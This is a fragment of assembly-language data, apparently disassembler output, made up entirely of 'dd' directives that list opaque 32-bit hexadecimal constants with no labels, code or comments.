		dd 4A9A0B67h, 8EDEBDAFh, 5DED72ECh, 427143A4h, 439691E3h
		dd 61645167h, 72F1FCE6h, 6A2E7CDAh, 2330BF69h, 1F3EC0EFh
		dd 640F9D79h, 0D8C5E735h, 0EEDDA340h, 36371BBh,	12E6F25Ah
		dd 94613F7Ah, 0C2C139D9h, 0D41FDB54h, 8BB2CC3Fh, 125EC1C9h
		dd 1256F282h, 0DB52B22Ah, 4A1230A1h, 0CCC1A08h,	54F6C133h
		dd 3DB85BA1h, 66CD12B8h, 0DE7E12EAh, 82B5D80Bh,	0C773E48Bh
		dd 0ED7030E1h, 0B324CCD5h, 5D6AE353h, 3E4AE9D8h, 3DBDC562h
		dd 9477D91Bh, 3CCAA71Ah, 6419529h, 0D35A56D2h, 0C250D073h
		dd 12571F46h, 7FB219E7h, 9ECC358Dh, 2D2A0F3Fh, 0C915B26h
		dd 38C0DEAFh, 0CBD51C53h, 92521E43h, 0E20B540Ch, 889732D3h
		dd 0CE4AE6DCh, 0EF1338FCh, 0A7E4B110h, 2175A7B9h, 46633166h
		dd 0AEDA421Ah, 75A5A9DBh, 0F124E506h, 43D6D392h, 0E6AD6BE2h
		dd 4469D5D1h, 13A86800h, 23688528h, 0C97F2B20h,	0C6A7A23Ah
		dd 5C931503h, 0E22FAE6Fh, 317C2750h, 0A8F4C87Ch, 2185295h
		dd 0BA8D7136h, 33B08955h, 0ED7C904Ah, 8512F1ECh, 0E5691C94h
		dd 97AFDECDh, 5D6A5322h, 0FE521026h, 0B09BF0E4h, 5CEF7983h
		dd 8FEC266h, 0B27E314Ch, 0A7475B1Bh, 2D82B81Ch,	701DE9ABh
		dd 598CCAB5h, 978C1FBAh, 8E5D9878h, 0DBD4908Dh,	2C9FC359h
		dd 0FFB62256h, 0FF8D337Fh, 0CC373732h, 2D932827h, 93061B1Ah
		dd 0B76FE13Bh, 8D63F8D1h, 4DEE5159h, 28C2A3ECh,	0D0E71C6Fh
		dd 0B4DE9CB9h, 752BEC7Dh, 5F835342h, 576BBF3h, 0EDE5C265h
		dd 5CDC2D9Dh, 0B8E5B8B2h, 0AF2BCC73h, 0F78218EBh, 4F426D10h
		dd 8BE87083h, 0DEB9DEE6h, 0CEF32A21h, 6F9923FBh, 0B0A67FF3h
		dd 0DF9D5E5Ah, 0A672D682h, 380693C4h, 4C798F2Dh, 9332B21Bh
		dd 0EA6BBCE0h, 47FAFE3Ah, 9DA463B5h, 8CFCC556h,	257CA232h
		dd 75379216h, 0F6B8F7ADh, 3B3CC256h, 0D2C0E4CCh, 7AB13947h
		dd 0E010253Fh, 0AD2461A9h, 67D98BA8h, 9217829h,	6ABA151Fh
		dd 620D6918h, 30493ABh,	0C260E4AFh, 8C535D45h, 0E5CBB8ACh
		dd 7CC85659h, 0D53184F6h, 89C27E3h, 0CAD95C8Eh,	0F3C08D4Ch
		dd 4D92EB8Fh, 449409E9h, 7C3F73Ah, 5E0FA2Ch, 5C0784C8h
		dd 0AAC3F95Eh, 0ECDDFAA9h, 1E08E67h, 21D0BBF8h,	0DF8CA793h
		dd 4558CF6Fh, 0CA9FC1F7h, 0E966BEF1h, 0F13ABFDEh, 0CCE2A242h
		dd 72B14D9h, 3940D2FEh,	0CAC20767h, 0CA66F1Bh, 0E4ED4E1Ch
		dd 0A68C3369h, 6EDBBE2Dh, 93BA0A26h, 0AF45C3E0h, 7D61DDDDh
		dd 7AFDC37Bh, 7801B58Ah, 3ABEA7B4h, 89212ECh, 0ED05CEEBh
		dd 0F77A281Bh, 765A8CA7h, 0D9B3BBC7h, 0FC6C88D6h, 5854126h
		dd 930DF2A8h, 646141E3h, 228A6ED5h, 0F9FADC47h,	67DA70Ah
		dd 6ACA0301h, 96ED6D70h, 386E8C2Ch, 60B9905Bh, 4E1AD016h
		dd 1BA3C814h, 8D3BDBEh,	6DBF97F8h, 0E18842BAh, 50DEA749h
		dd 0B920B65h, 41BCF92Dh, 9CDFB201h, 911A40C4h, 0A66E9D00h
		dd 0A0CF80A4h, 15175A05h, 10228B0Ah, 38233829h,	65C50C6Bh
		dd 0C0A51A90h, 0A1BEE3EDh, 5939C077h, 0F21B6538h, 18372A3Dh
		dd 0BA955D50h, 0C300BB20h, 44B347DAh, 23DB6E34h, 1A28667Fh
		dd 47336620h, 0FB474D69h, 0FE9BF15Ch, 0EFD183D8h, 5236F16h
		dd 9444C185h, 0AF80727Fh, 4FFCB332h, 0EB0D97CEh, 8EDEE9A1h
		dd 51C0B95Dh, 8758FDA8h, 5585A0AAh, 0A2CED523h,	0EC241272h
		dd 96834920h, 94B79CCFh, 0D900C6A0h, 3626E430h,	33748FA1h
		dd 4B800F0Ch, 0D460C2E3h, 8A9BED8Ah, 0DF4A068Eh, 0E6D96641h
		dd 0D32E870Bh, 9C3AA6F2h, 0A8079F84h, 79FE2D15h, 8CE3906Eh
		dd 4703F64Fh, 0C94BA310h, 0DC09260Dh, 7F22B5F1h, 88C7CEA3h
		dd 7A0CC83Dh, 0BD9896D8h, 3788330Ch, 0EC975E04h, 0FBFA1492h
		dd 10049119h, 8BE85FA8h, 6599A2B0h, 261FF0F8h, 9FAFFF5Ah
		dd 0F5190AC2h, 21B6C61Ah, 0BF8FF277h, 78AF3831h, 342E2D1Dh
		dd 17DEEFEAh, 0C77E7F07h, 0A22F1E6h, 0AE4AA425h, 41D77D18h
		dd 9D9E97C1h, 0DA034C92h, 0D6643437h, 0B15D9B69h, 164F4092h
		dd 29761D11h, 900ABA97h, 68F40A72h, 69BD29DDh, 0E293DE2Fh
		dd 21094200h, 80F30824h, 0F238518Eh, 0E1AA1D03h, 755164DDh
		dd 15F98B8Eh, 4D0F9D84h, 0A22A1F05h, 217173ABh,	0E538FC02h
		dd 316D553Eh, 163B4446h, 0D013C441h, 0C2397214h, 0C2B61F6Ch
		dd 8A639649h, 84E91ECDh, 0FDBEBE8Ah, 7F356B9Eh,	5F80A5DBh
		dd 6008CC4Eh, 0A400EF77h, 2E9523BAh, 0FA6CAC2Bh, 6CEE5810h
		dd 67147ACEh, 81BCD8Ah,	9B0AFDD0h, 0D497BACh, 3E779598h
		dd 5F9AE22Ah, 0A367468Bh, 0C5215290h, 57EED3A8h, 56EFF54Bh
		dd 0D4B4AD74h, 255B018Eh, 0DC13D137h, 8CB83025h, 0B718C964h
		dd 49FA3DABh, 0B12D0693h, 4806C554h, 0A3FE14DDh, 20E12407h
		dd 5EE42A1Ah, 66B32DF7h, 37B919A4h, 294AC949h, 8A8A1460h
		dd 0E1EFBD1Fh, 86F451E2h, 3EF29203h, 4B0C5EFFh,	22F6CA17h
		dd 29FF2E2Ah, 0AC19B6B2h, 0DF6B04A7h, 8B88A44h,	0A8BC6BFDh
		dd 7A265D50h, 7AD6371Ch, 68C23BACh, 0E53A417Ch,	0F58294E7h
		dd 1AB178B9h, 0E22A85F6h, 9516EA8Ah, 0F2A9107Ch, 8E7B1830h
		dd 1A361C59h, 0EBF1E97Ah, 0CBC490Eh, 0CAC3D3FDh, 0DB982B09h
		dd 0DBF8D82Ch, 7991B72Ah, 0BD586497h, 2A68253Dh, 0E6BC3ABAh
		dd 0C0317430h, 0A4AE88CEh, 2F0348CEh, 9F154590h, 909712A4h
		dd 15B1A6B4h, 13A3275Ah, 0EBE9E93Eh, 57479EA3h,	66BF7ED5h
		dd 6F5EE76Ah, 0DEE30C25h, 0EC35E12Bh, 2D4EBF91h, 4D444173h
		dd 27D6408Bh, 0F5DEFB3Eh, 0FC299E79h, 94B62F47h, 0E4055DA9h
		dd 0F0C68C93h, 460C5728h, 0BB383B4Fh, 91231176h, 0CA7190A4h
		dd 0A0A5F08h, 0C270CBC4h, 0A93A8033h, 0F46151BBh, 0FBC145D5h
		dd 72A3F26Fh, 2805516Bh, 188508BDh, 675C583Dh, 9BE39D8Eh
		dd 0CA63DC97h, 84A74D59h, 4A2058F3h, 3A2B963Fh,	418BC7C7h
		dd 0E3DE1924h, 57D723D2h, 1D0699EFh, 0AFFAD97Ch, 87D46E2Fh
		dd 0F00E875Dh, 834675DAh, 0B6EDB9E9h, 5D1AE71Ch, 6E3D6164h
		dd 93D79CB3h, 7704FC4Dh, 4F2906FEh, 0B46F131Fh,	763F4120h
		dd 77837F7Ch, 0A31EF009h, 14167989h, 74133DFEh,	7EFD02A3h
		dd 0CC19FFE0h, 66B04687h, 45711C3Eh, 9C222BB0h,	0C3684F91h
		dd 0A6DA3F4Dh, 0EE8A48DBh, 0D0B3B337h, 2D4D6A87h, 44F262A8h
		dd 0E5384B20h, 7E9A45BFh, 0F2B7C21Ah, 784DE5A3h, 0EDB109E5h
		dd 99FE2564h, 0D162C4A2h
		dd 40AD56D5h, 0F4DD16A5h, 1F721875h, 838B13ABh,	162AFB52h
		dd 0F598C3D0h, 65EA618Ch, 48365843h, 278250DDh,	9C2A3198h
		dd 994D3515h, 0F01DF2E8h, 0F3DC1C62h, 0FC9E0C8Bh, 88686303h
		dd 0F11B24h, 7F533547h,	0A120F695h, 722EF31Eh, 9DF9FF3Dh
		dd 4470C365h, 103FDDFDh, 0C8A06AF5h, 0AACE03EDh, 70867B40h
		dd 25302218h, 77D5E6C7h, 5ECFBDA0h, 1C661CFDh, 4051E396h
		dd 0B145F878h, 4B1C0B20h, 9865DCB1h, 59CFCB2Ch,	0C1C17BA5h
		dd 36449Fh, 0C0C79DBDh,	0A7D3E6A2h, 0A30C1BE5h,	901B202Bh
		dd 5961BAFEh, 0AFEF0562h, 3AA0F4C4h, 6287183Fh,	0FD688385h
		dd 0A9690BCBh, 57B9F182h, 4B5454C6h, 0DB8042C9h, 3A70D86Dh
		dd 456930A4h, 367A8D05h, 2416B4A2h, 8D5ACB38h, 0F622C3DAh
		dd 4F054BBAh, 99B5A115h, 9EA84512h, 851E7A9Fh, 0E049120h
		dd 312A318h, 7FFEC6ECh,	5B93DF9Bh, 9527050h, 59B64301h
		dd 5EEB7962h, 0E10745F8h, 0A5FE63CDh, 854DA8B7h, 4EC1556Eh
		dd 0D0242ABAh, 0D4687860h, 31E1C613h, 38477343h, 5229136Ch
		dd 0F85278A0h, 4641D4CCh, 0ACE1456h, 4D725BAFh,	0B07885D6h
		dd 36E498CCh, 84EBADA5h, 8A1342Eh, 0AA546571h, 6479996Ah
		dd 0D69D9D70h, 30562ED4h, 9BD24B4Eh, 76292D00h,	6336C425h
		dd 0AEAA7E4Fh, 0C595B942h, 56D1BE5Ch, 0DD6870A2h, 55A2B0A6h
		dd 0ADAA5F58h, 588D4090h, 572B0AAEh, 0EAD5530Fh, 0EA8EF24Bh
		dd 94B3A6A6h, 5C277FC7h, 546CDCCEh, 31E618CBh, 0D875EAh
		dd 0FB50C474h, 9086E1ADh, 3866F46Dh, 0BFA1AF1Ah, 5F1D69E1h
		dd 9A7D04C4h, 0EEFA0E73h, 6FAACD9Ch, 0D2860230h, 9DF386F2h
		dd 0C6C06D21h, 1E1DEC75h, 8162E5Bh, 4BCD86DCh, 62592749h
		dd 6D53E30h, 0D58E8B93h, 1F5DA31h, 8D667D76h, 0F93CC8CCh
		dd 1ABC0213h, 250AB83Ah, 22975357h, 198BAB64h, 0BDF0CD7h
		dd 0D17B08CBh, 0BEED90DAh, 0B5B4F4ACh, 0F01E021Ch, 0F701B18Bh
		dd 8373355Ah, 0BF9F5C8Ah, 0A406AA72h, 0CD6067BBh, 86377FAAh
		dd 0A1A10EC5h, 0D34FBDBFh, 3AB18BD4h, 0CC008D35h, 666C80ABh
		dd 22A6739h, 0F083AE1Ah, 506E3D8Ch, 63AF6419h, 17742FE3h
		dd 0C3413051h, 4CFA669Ch, 86EE48D6h, 0B18D5BA0h, 5BF5C84Fh
		dd 0FE619A4Dh, 68EFA5CFh, 621AC69Ah, 0D35AD125h, 0A3622A12h
		dd 0F15C70C6h, 0FDD8657Bh, 0BFCC7239h, 0F3F8706Dh, 499B32D6h
		dd 0A2906D08h, 4AAEFCE5h, 815A0D10h, 67DDE23Ah,	286EE7CFh
		dd 0A84A316Bh, 946D131h, 0EB09F8E7h, 0DABCAADEh, 5D9628BDh
		dd 0CB784C69h, 800A49F7h, 3E734759h, 90A2D089h,	3C161535h
		dd 0ABA8ECD1h, 0D80CFFF5h, 0C8D30F9Ch, 0EB02C4A2h, 43EB958Dh
		dd 2B9B98A1h, 0FC610C30h, 0F688CE3Dh, 0C9D2170h, 41858620h
		dd 5F691B83h, 7AA9845Fh, 1AC0D55Ch, 0AE3D37F4h,	17504840h
		dd 0AF99A0A5h, 78DA5145h, 0FCB7F40Eh, 0DB41A671h, 986FF584h
		dd 5D1B5335h, 1ED5C31Dh, 0DE87BD17h, 2FA6B462h,	0E104515h
		dd 3DBC930Bh, 60A1CD8Dh, 5432EE04h, 77AAFE64h, 0F74C1EFFh
		dd 69866EFAh, 65843730h, 2216E483h, 0A0700428h,	0A476920Dh
		dd 0C510424Ah, 3ABA0B9Eh, 4DFC8C5Eh, 0A4C901F5h, 0C4B6A57Ch
		dd 9A461F86h, 67DF51FCh, 0C56C4740h, 0CE60AC32h, 2E538901h
		dd 0F47FACEBh, 0B8CDC699h, 96E37469h, 95EE27FCh, 9774524h
		dd 0C0D14790h, 1A458327h, 2B9C9ADBh, 0FDA7BBE4h, 1B1C26B4h
		dd 36749F08h, 0B3FC7D7Dh, 46D34E74h, 88BFB007h,	6BBB10FDh
		dd 1BB7FF52h, 673F8301h, 0F216E965h, 6E82FD85h,	9C752A8Dh
		dd 63E1ECB1h, 313C7FDDh, 8FC14B7Ch, 0D4162D32h,	82BEDEB8h
		dd 35D1BD36h, 2FB66503h, 0C160617Fh, 1FBEFD40h,	4288F8C4h
		dd 3EC9F470h, 0AAB1C6CEh, 0A1853411h, 4781D67Bh, 7EFEF62Ah
		dd 0C2F3521Fh, 0CC71A05Eh, 25069DE9h, 0B1F34E92h, 0ECB0E014h
		dd 52468603h, 1A67080Fh, 14AE5859h, 0A0F8BC20h,	2880FD58h
		dd 8B30D6CBh, 0ED0B6DF3h, 0D85D0380h, 7B81F7B1h, 7995D19Ah
		dd 1FF14989h, 0C14BF027h, 0E859AB4Ch, 0A0628E5Dh, 0B8D6CAD4h
		dd 19C7A751h, 556DC2DCh, 0D90B59FEh, 0B922D8E8h, 36C8E8C2h
		dd 0E84F8F50h, 876A12A3h, 8C955AF5h, 82CF0FFBh,	0AD096376h
		dd 48815655h, 5E2670FCh, 0D0A36181h, 0FE78ABCDh, 0FA08B5A0h
		dd 0A23327FDh, 3A0B1E2Eh, 0ACBF0DBAh, 29694BE8h, 0F27FD6B9h
		dd 0BA4D4E1Fh, 4E2A0F09h, 9BD49BE9h, 7BDBFD6Bh,	51E550CCh
		dd 90EBAC02h, 287F8B55h, 92B68ECCh, 22AE57Dh, 12B85851h
		dd 3ECC39F4h, 4EA22432h, 64F10463h, 0EB2C9F7Ch,	0D306C730h
		dd 1E4D3D6Ch, 3332D5E4h, 0EE316748h, 0B4AA7E1Eh, 11E05DEAh
		dd 27F6DE4Ch, 0B441A5E3h, 3DEC2ACEh, 9BC5EF9h, 2F990405h
		dd 0FC9CDDCBh, 0B50716Fh, 15A6978Eh, 654DD742h,	98E6E41Bh
		dd 9320AF92h, 0A6F83B5h, 0ADC1435Ah, 9703D9A8h,	0EE6DBC39h
		dd 0DEB790C7h, 72FBE2C6h, 0FD15645Ch, 5EC99E7Fh, 54A039FDh
		dd 0C46C36B3h, 3B718C3h, 452E3728h, 7AB0C772h, 5F5B1083h
		dd 0CF79A2EDh, 0AFA189C8h, 71FE0AFBh, 0A3E3AAAAh, 1D24F5E9h
		dd 3C2FCF25h, 0E60DC868h, 0F83665BEh, 12509682h, 0FB7D3C49h
		dd 1FBECD55h, 0E5233A25h, 89B010F3h, 79248D3Eh,	19EA976Eh
		dd 0AC49A407h, 140D61Dh, 7370B63Eh, 2BE638FCh, 46615148h
		dd 0AECEF2Bh, 0DC189CCCh, 0A0ACE083h, 0E5E2CD24h, 8C6088C0h
		dd 0A8BAF994h, 1FC8BEE5h, 0E9D0522Ch, 0F5554F03h, 77C89883h
		dd 6B69EEADh, 67647086h, 0E1507D7Fh, 0C983BDE9h, 0BE0A5D81h
		dd 0F819EBE3h, 0EE4A079Ah, 0B0DCD990h, 0A9D7D0Bh, 704EAAD0h
		dd 0D36C64C7h, 7CD56006h, 0F08C4B77h, 78915963h, 27AB3F1Dh
		dd 0B90D5F6Dh, 7B636266h, 10F6A916h, 97AB8404h,	3842972h
		dd 0C38AC125h, 29D9B2EEh, 13A85558h, 0ADF3B6B5h, 0A759C1CBh
		dd 0B67AA0F5h, 0E3DEB169h, 0E81EEBC9h, 372628B7h, 9194D533h
		dd 6F015899h, 0D4937F67h, 0F53CE70Dh, 6E1F95E8h, 3A550609h
		dd 0FC84F7D5h, 10AAC390h, 0A5D251F6h, 0BC61E35Ah, 27FB5C13h
		dd 714713D7h, 63CB36Ch,	1E2CEDE5h, 0EE2689D1h, 535489E8h
		dd 5BC5FCDAh, 7C0B7ED0h, 0B868497Bh, 0A9AA2128h, 0B3253E6Ch
		dd 94A661A9h, 2BC8571Dh, 83D8EA6Bh, 21533586h, 0B30EE092h
		dd 662875F1h, 37F38CEAh, 0EFA63742h, 0AF349FC5h, 9397C146h
		dd 0A527DAB4h, 63A24CAh, 3C2B35EAh, 5218B1C7h, 9CF67A33h
		dd 3EDB34E5h, 542D8636h, 3B7A553Bh, 506F73EDh, 978ED181h
		dd 0AC00CF6Dh, 478C9C94h, 0D1269F8Fh, 766AD040h, 0D045C30h
		dd 351CC63Dh, 164977CFh, 0F88407F0h, 0DF7F20BBh, 0ECE42479h
		dd 2731279Bh, 22A0BDDh,	45942472h, 4E26715Dh, 57975CDEh
		dd 4A71165h, 252C2085h,	0E1B59745h, 0D326B54Ch,	4FBD61D3h
		dd 3C8984D1h, 1386F29Dh, 15025468h, 53444069h, 0B96DAD6Ch
		dd 0E8563030h, 6FB34FCDh, 7B45DAE2h, 1C7BCCCAh,	3BD36343h
		dd 0ED848F95h, 5E02B534h, 0A1A2650h, 4AB030E9h,	54E5E392h
		dd 8E4FB4AAh, 12D5FB51h, 16764E48h, 1E98803Dh, 50B58D4Fh
		dd 7B455E74h, 953EA1CFh, 5A24B340h, 455F462h, 7A6BA816h
		dd 0E49240DAh, 13108817h, 0DC96A93Ch, 0B180E471h, 6787B8C2h
		dd 0B756CFDEh, 93103A37h, 0B11589F1h, 0E5A6EBECh, 92A817C5h
		dd 7943D2BDh, 0B11C1BD9h, 29D53395h, 0AAB353C9h, 7DEE178Fh
		dd 0BCC3912Fh, 792B2DC0h, 29F3510Bh, 8931048Fh,	0ED096402h
		dd 47BC4D39h, 73F9DEE6h
		dd 0B29E7363h, 0EE184F34h, 0CEBE702Dh, 415CC5E0h, 967EFCE4h
		dd 49B3688Bh, 73AB50ACh, 8AC5BD0h, 0D705C8EEh, 536EFAEDh
		dd 98124652h, 0FB2204D5h, 8280D8B8h, 0ECD63077h, 3084460Fh
		dd 5C0747F6h, 840B4BEh,	64C01039h, 0ABB45242h, 82078D17h
		dd 0EBDCA5h, 7497E211h,	0E830CF92h, 2E9703AEh, 0F3AEAE5Eh
		dd 95E93C30h, 0F205BD5Ah, 1D813206h, 0B11FD854h, 2B000798h
		dd 62C73D8Ah, 0B09425A9h, 0B6484FC1h, 7213A27Eh, 0D91BE195h
		dd 0BE5DD07Fh, 8A034EDBh, 853BB02Ch, 0C2B60582h, 0A68B51Bh
		dd 92934490h, 0BCE07988h, 0D74BE79Fh, 5F4FDA0Bh, 89DA96F5h
		dd 0BB325EF3h, 0FB72489Eh, 4BE8A7EFh, 0EE229F7Fh, 9643FBEh
		dd 0BF6D6832h, 63CFFE4h, 0A3B6F6F9h, 546DA885h,	0AFC1ED9Fh
		dd 0B0E22661h, 63745185h, 3BCAF993h, 212C0CF4h,	91D24B3Bh
		dd 0C2E8FC3Dh, 72E30EBAh, 74930D9Eh, 4D6237E9h,	0B8A9FEC2h
		dd 9ED8ACA6h, 58C0DABh,	318A4A69h, 0ACD95894h, 0F607D5F4h
		dd 5B8AEF61h, 0CDB054D3h, 5199D6DCh, 0A6A475B6h, 3D84213Fh
		dd 0C85EE37Dh, 31F9B05Ch, 0F24E2755h, 0BEE48D9Eh, 4702C3CEh
		dd 9DADC20Dh, 0F9346F95h, 0E0908F65h, 0F41EF1F4h, 857674A1h
		dd 77957131h, 0C5B9EF9h, 4D132E38h, 6EF3F0Bh, 5B16F5E2h
		dd 213189A3h, 68E64224h, 4110FF9Eh, 35F6CC3h, 0A788A600h
		dd 2260BBF5h, 0BB0D9371h, 0C50E5F73h, 3581C5A3h, 2523FDC5h
		dd 0AB17B380h, 5C091DE3h, 0D7BD11F5h, 0CBEE3604h, 43B0A147h
		dd 2486B014h, 0C3082209h, 0BE95FA36h, 27930A30h, 2A8C6C35h
		dd 0EA703561h, 535FC3DAh, 0A29BF389h, 5CF82C3Fh, 555DB37Ah
		dd 50377902h, 0B61731B9h, 7B1FAE16h, 617E27AFh,	0AD5B66C2h
		dd 97512DB8h, 0A008A3A0h, 42012EBFh, 8BCA4F16h,	961D6F0Dh
		dd 7D8952AFh, 3566C17Bh, 8C18EF6Dh, 8A9A7A8Ah, 82F44BFh
		dd 0BD8744ADh, 8BBEEAF8h, 50B48FF8h, 1F138333h,	0E1ACB0E4h
		dd 0B2E3BE09h, 556E719Bh, 0C77DA8D4h, 2FB744D6h, 8297AEB5h
		dd 7CBF98E5h, 62C29DF6h, 6FACFCBh, 0ECE47515h, 3E4FBF8Bh
		dd 0E4A7C84Eh, 0D26AC320h, 0C1131A7h, 697470BDh, 0BA550A6Fh
		dd 0CF62F2A8h, 0C1C95EC0h, 1D895538h, 5094039h,	0CCC5B0C6h
		dd 0EE4FEF39h, 58895F18h, 5D972CE4h, 4122038Eh,	0B2BD17FCh
		dd 7EA15483h, 27723E4Bh, 0C55814Ah, 0C817F708h,	0C4043D20h
		dd 9E5E6B3Eh, 0AEE04B84h, 0FB020054h, 1503A709h, 0A868B628h
		dd 88E74354h, 1993268Bh, 92B39A05h, 0EAEB52BFh,	0CE3E3BD7h
		dd 3D544EA2h, 627718BDh, 18CE20D9h, 0BACBC4C6h,	1086C91Dh
		dd 0E514C233h, 7548CE99h, 2E9F5508h, 0DB986A94h, 0C2061A32h
		dd 0DDB9793Bh, 806E4424h, 0C3EB03D4h, 0D846EC4Bh, 2414D2Bh
		dd 0E78635C5h, 0F298EFD2h, 0C17D4D28h, 3A6AAC62h, 0B5F1EDD8h
		dd 3FC21B3Dh, 7A5A8332h, 0C488B06h, 0E1D18EEh, 6D1904F4h
		dd 2DBB5C98h, 0E8E2C9D4h, 36453601h, 0FF33FF2Ah, 0F8667E3Bh
		dd 0E07610CDh, 63EC684Ah, 59C040D1h, 0CA67EE9Eh, 2F494895h
		dd 227B5199h, 0C730897Bh, 6D80F2FEh, 0E5A9BCE0h, 80242E57h
		dd 0A3FB7FF0h, 2DB6B61Fh, 0AD1A9E7Bh, 0E2636E5Dh, 16DD162Fh
		dd 81332AC8h, 8509233Ah, 31DE55FCh, 0CB0ACC73h,	0A1915BD0h
		dd 0DB2AA1CCh, 78F14210h, 0A963421Ah, 631D5E5Fh, 79DDBD4Ch
		dd 0D3AD6E79h, 376A085Ch, 91DAA9CCh, 7E470FF4h,	0C435F1D9h
		dd 15DB26Ch, 1827A86h, 0FC4B1C1Fh, 0E98AC53Ch, 6C701E6Dh
		dd 0B689091h, 52C8F7EEh, 8713DA4Ch, 0E3A9C355h,	3106E2C7h
		dd 0B29196B8h, 7C11F73Eh, 231F1B58h, 0F9F0F375h, 0D2FCEFABh
		dd 25CECFAEh, 0FDA122A0h, 8082FF55h, 668257FCh,	8DBA694Bh
		dd 320AADB5h, 149D9E7Fh, 0A303CC1Ah, 2942FA81h,	4A914273h
		dd 149DAE08h, 0A58BA86Eh, 0A37E33Fh, 0CC2549A0h, 0D9515C54h
		dd 0F6452C1Fh, 0D940BEF6h, 0A6D2CA6Dh, 0BF06655Eh, 0D932C28Ch
		dd 828F8F66h, 4B43E386h, 1A8CE3CCh, 404E93DFh, 7B73017Eh
		dd 59BBE96h, 86A32628h,	0F9C2027Ch, 0F750CB5Fh,	0BDF41977h
		dd 0AD36882Dh, 0BA6B3C00h, 0B17B8EC5h, 3D508DA4h, 77DF5E1Ah
		dd 9742E4BDh, 0AA04E307h, 0E872DF1Dh, 0ED948F41h, 568AABA8h
		dd 0E1B86EE3h, 8ECDFBFBh, 0E13AFE15h, 6F34751Eh, 651E9666h
		dd 0D073BBDEh, 33CCCFB2h, 5FD8AED7h, 59FD8270h,	6EFE7C6Ch
		dd 0D84D79E6h, 49FB263Eh, 7DA1F819h, 0EE8F0CD6h, 0D565C84Ah
		dd 1629F850h, 4F93EFAEh, 3263BBE3h, 0F7A46A1Fh,	436F4A4Dh
		dd 0A71A4B6Bh, 9E360B75h, 118768A3h, 476EE2CCh,	1189D8EBh
		dd 9CB3ABDFh, 1B55F162h, 5B748676h, 0ADA78AEAh,	0E24E3052h
		dd 0D1C8BE8Dh, 0B76748C2h, 51E8240Fh, 1312A057h, 0E17BC284h
		dd 3822C4BDh, 4FC4D12Eh, 0EB3473h, 0C0F77CDBh, 0B00EC83Ch
		dd 0DA7E2D7Eh, 0FC2CEE81h, 37BC4A5Eh, 0B802D221h, 0B2A36CD3h
		dd 0B0B0ED13h, 0B49ADB8Dh, 8FEB74FCh, 121F1E4Ch, 0DEA79212h
		dd 0FBB5A8BBh, 0EBA20259h, 5B788B93h, 0A5A579FCh, 3E27EEFBh
		dd 0A94B54A2h, 67A9D7C6h, 0FA0BE553h, 678CCCDCh, 96290DFBh
		dd 19A5EE29h, 37E72173h, 2B2455A0h, 0E6397919h,	69D152EBh
		dd 4A23B373h, 0CB90E30Ah, 0AAE293D0h, 6E5C4A57h, 0A97A5051h
		dd 3CCD4BDCh, 49E27B7Dh, 7030F72Ch, 34B1C3B6h, 763F09A8h
		dd 1C64DFE4h, 0D664F345h, 0D21BD255h, 0F9473FC9h, 38FB41C4h
		dd 1C221221h, 9D49A109h, 5D8C1C7Dh, 47E27C26h, 89D617AEh
		dd 0CB5F01E4h, 81423F0Eh, 18016F2Eh, 8DD89BDFh,	13907CE7h
		dd 0C45C5F46h, 775C6B29h, 0D9D6A3D4h, 0F3684388h, 768F9139h
		dd 0F1254355h, 99566601h, 24D82EAh, 7027D4CDh, 0F6A1D592h
		dd 1C12CBF1h, 28710F7Fh, 0E7115E35h, 63822BC0h,	0BC7CEDC4h
		dd 0AB9F5911h, 429F5B4h, 3C968145h, 3AC03E4Ch, 6DFD1696h
		dd 40840C25h, 0CEE12144h, 353F2CA0h, 23759F6Ah,	90127177h
		dd 626091E2h, 43DC5E0Dh, 0DDCBC888h, 0E0748BAFh, 8AC890DFh
		dd 0A8EFF3FBh, 0CBE32565h, 40156D9Fh, 4463F54Bh, 178AD3D5h
		dd 7D4DD422h, 6BAD5815h, 4DD15763h, 44052957h, 5ABAD92Bh
		dd 773796A2h, 61AA4938h, 446BCA79h, 0AEFB2A86h,	5F9EF645h
		dd 4F4F0DC3h, 6A8D3E76h, 0DA7FD1A7h, 7909D654h,	0B3D249DFh
		dd 7D19B885h, 72C2ACB1h, 0F06A8863h, 1EC5F287h,	0F8182F06h
		dd 5AEA75D7h, 73B618EFh, 46F7830Bh, 69424BABh, 27C54F74h
		dd 9AAB8625h, 0E523F0FFh, 0CE28A3A7h, 1861CDEAh, 0AC2C830Ah
		dd 6D381A47h, 1C2220ABh, 9E54D707h, 225BF582h, 22AC6AFAh
		dd 0F223FB89h, 0F5A2F422h, 422778A6h, 3349B235h, 0E562A73Ch
		dd 381BA801h, 598FC570h, 8FA88C2Ch, 5FCBF701h, 65489973h
		dd 127B2915h, 4531E504h, 207AA9DCh, 0F23EC2E1h,	60C10CBFh
		dd 79FFEAE6h, 82D6D333h, 0F887012Dh, 5CF980F6h,	5EA0F5ACh
		dd 0C4A14AF7h, 3CE1A023h, 0D20336A2h, 1E22C1A6h, 0F33992Ch
		dd 2B6CAC62h, 738EB26Ch, 0CB2D3B4Eh, 3F2C5C0Ch,	9F4FD2F5h
		dd 3FAEDF9Ah, 0A5E4E5D2h, 2EA39195h, 0C6F7A372h, 7047D9C4h
		dd 0BC8E0268h, 0C39998CAh, 733304BDh, 6678A0C7h, 0E2C9E643h
		dd 62754D3h, 770B16ECh,	0E0843CBAh, 82B2887Dh, 3EF2EB73h
		dd 0DBBDFC0Bh, 72F44E11h, 0B37A31F3h, 80E01A34h, 1FAA765Ch
		dd 51BF6627h, 404D555Ch, 0BC204322h, 19B89FABh,	5473072h
		dd 6E6E3FA4h, 18475B1Bh, 0D332137Fh, 0AE2C8D7Ah, 0C6C96EE6h
		dd 0ABB604B2h, 0A378658Fh
		dd 1392AAFFh, 78524673h, 57871388h, 0CD657BD9h,	0BEA5A3BEh
		dd 5CBACA6Ch, 461DCD3Bh, 68CD4D9Bh, 0B59C9772h,	0F0D3B010h
		dd 0A9C9FD1Fh, 80FC6D51h, 81986B61h, 0AC70D436h, 843C5759h
		dd 78AAE384h, 442F9B28h, 23574F60h, 51E23CEAh, 926C2BB5h
		dd 0A39CF646h, 0B7345447h, 1E9B75E8h, 54DA988Dh, 0E3641BC7h
		dd 0C99A3710h, 0F45C8278h, 873DEDA9h, 8F7385D6h, 196AD5A4h
		dd 7575E65Eh, 22D1EEDAh, 0CD446535h, 2DE485E4h,	8567083Dh
		dd 0D11B00E4h, 6835AFDDh, 0CE4027E8h, 574B1465h, 29348F4Dh
		dd 2517F886h, 7F9E0FF8h, 69693426h, 20F82F05h, 7E358F46h
		dd 0EF1E6192h, 0A3F9A386h, 0D3D44D7h, 690777EEh, 0E63DEAE3h
